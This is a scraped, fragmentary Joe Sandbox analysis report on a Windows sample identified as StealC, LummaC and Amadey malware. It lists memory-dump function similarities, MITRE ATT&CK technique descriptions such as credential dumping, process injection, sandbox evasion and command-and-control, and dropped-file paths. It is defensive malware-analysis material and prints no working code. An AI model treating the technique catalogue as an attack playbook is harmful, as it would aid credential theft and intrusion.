Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 059fb1e9da11649e5a4b4086d009f225b4a027ea5b8b5cd3a63c90e5d7ec23dd
Instruction ID: 993aecbc450f1d9754b433bc6b9170b3d4160bd684dbd10b77186ed6fa88740b
Opcode Fuzzy Hash: 059fb1e9da11649e5a4b4086d009f225b4a027ea5b8b5cd3a63c90e5d7ec23dd
Instruction Fuzzy Hash: 6C51FEF1A093568FEB14CF18C98076EB7B5FF95304F05852DC85AABB10DB31A804CBA2

Function 6CB1DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB0FF2A), ref: 6CB1DFFD

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB0FF2A), ref: 6CB1E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB0FF2A), ref: 6CB1E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB0FF2A), ref: 6CB1E0FE

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b8bed9419e9f1ac8466b619071aecb3f9e1ce5277997976ba1affaa855b02c25
Instruction ID: 5984c37bc2c64ac3576957aee605b74fe26cd60aa777f468df5c7b53602e9514
Opcode Fuzzy Hash: b8bed9419e9f1ac8466b619071aecb3f9e1ce5277997976ba1affaa855b02c25
Instruction Fuzzy Hash: 6941ADB1608286CFEB14CF68C88975E73BAFB45308F154929D516DBF40E732E914CB92

Function 6CB16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB16F5C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 16eb6edc9ea291d14de7424931d02f2628877b422ca8225dd6980ba6235409b4
Instruction ID: 4501fb23a371d16c70d32e3546763887130c799ddd044d8a466534cfe296b90a
Opcode Fuzzy Hash: 16eb6edc9ea291d14de7424931d02f2628877b422ca8225dd6980ba6235409b4
Instruction Fuzzy Hash: 7531F671A1460A8FDB04CF2CC9806AE73E9FB85304F50823DD41AC7A55EF31E659C791

Function 6CB2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAD0A4D), ref: 6CB2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAD0A4D), ref: 6CB2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAD0A4D), ref: 6CB2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAD0A4D), ref: 6CB2B67F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 8a6003f983c14f13b50209279c40afd978e6c32630d889c61efdbe4d4f380593
Instruction ID: 48495a3dfff528728d660d0527491d7da7b5e675466c66a013752d2ce542ac7e
Opcode Fuzzy Hash: 8a6003f983c14f13b50209279c40afd978e6c32630d889c61efdbe4d4f380593
Instruction Fuzzy Hash: 0131F471A002168FDB11DF58C844A6AFBB5FF81305F168529C81B9B305DF35E915CBA1

Function 6CAFF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAFF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAFF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFF668

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 890ba3efda7e9f4cd9b80361db6bfa02e7e34314157dc4f2699ec6e81c4f9d75
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B5312C71A00224AFCB14CF69CCC0A9F77F5EB84354B18853DFA598BB04D631E985CB90

Function 6CB126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB126C1
free.MOZGLUE(?), ref: 6CB126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB126FF
free.MOZGLUE ref: 6CB1270D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 98d48e63bffc992943308881cbfb5d8a4de6bbe9a3bdeddc037250646594f521
Instruction ID: 79c41f606c0547e01df888c017410084a224fa5289483a16e05710ef6daa58dd
Opcode Fuzzy Hash: 98d48e63bffc992943308881cbfb5d8a4de6bbe9a3bdeddc037250646594f521
Instruction Fuzzy Hash: 53F0D6B27052405BE7109A18E88495B73ADEB5621CB140035EA1AC3F01E332F958C793

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJJKFHJEBKFBGDAA

C:\ProgramData\CFHCBKKFIJJJECAAFCGI

C:\ProgramData\DBKEHDGD

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJ

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJECFBKJ

C:\ProgramData\KFCFBAAE

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre